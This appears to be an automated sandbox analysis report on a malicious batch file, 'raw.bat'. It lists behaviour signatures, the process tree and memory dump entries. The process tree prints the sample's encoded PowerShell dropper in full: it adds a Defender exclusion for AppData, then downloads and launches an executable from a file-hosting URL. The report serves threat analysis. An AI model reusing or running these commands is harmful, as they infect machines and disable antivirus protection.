Analysis
- max time kernel
148s - max time network
113s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
09/08/2026, 22:32
General
- Target raw.bat
- Size 749B
- Sample260809-2gexwszxaw
- SHA256 8f8224fe28ba0b5ee523b130e23b988d678928a50b153822b29214b94356e310
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\raw.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowershell -w h -enc cwB0AGEAcgB0ACAAUABvAHcAZQByAHMAaABlAGwAbAAgAC0AQQAgACcAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACcAIAAtAFYAIAByAHUAbgBBAHMACgAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACAALQBVAHIAaQAgAGgAdAB0AHAAcwA6AC8ALwBjAG8AbABkAC0AZQB1AC0AcABhAHIALQAxAC4AZwBvAGYAaQBsAGUALgBpAG8ALwBkAG8AdwBuAGwAbwBhAGQALwB3AGUAYgAvADkAOQBhADYANgBlADkAMwAtADgAMQBjADUALQA0ADgAMAA3AC0AYQBhAGMAMwAtADcAYgBjADUANwAyAGYANwA3AGUAZgAxAC8AcgBhAHcAVgBlAGwAbwBjAGkAdAB5AEwAaQB0AGUALgBlAHgAZQAKAHMAdABhAHIAdAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhAFwAbQBhAGwAdwBhAHIAZQAuAGUAeABlAA==2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:AppData3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_hq25klnu.jaj.ps1
memory/1564-23-0x00000184F3300000-0x00000184F33B2000-memory.dmp
memory/1564-24-0x00000184F33C0000-0x00000184F33CA000-memory.dmp
memory/1564-22-0x00000184F32E0000-0x00000184F32FE000-memory.dmp
memory/5764-7-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-0-0x00007FFCAADAF000-0x00007FFCAADB0000-memory.dmp
memory/5764-9-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-10-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-11-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-12-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-13-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-18-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-19-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-8-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-6-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-5-0x000001DD3CB30000-0x000001DD3CB52000-memory.dmp
memory/5764-4-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-25-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-26-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-29-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp
memory/5764-3-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp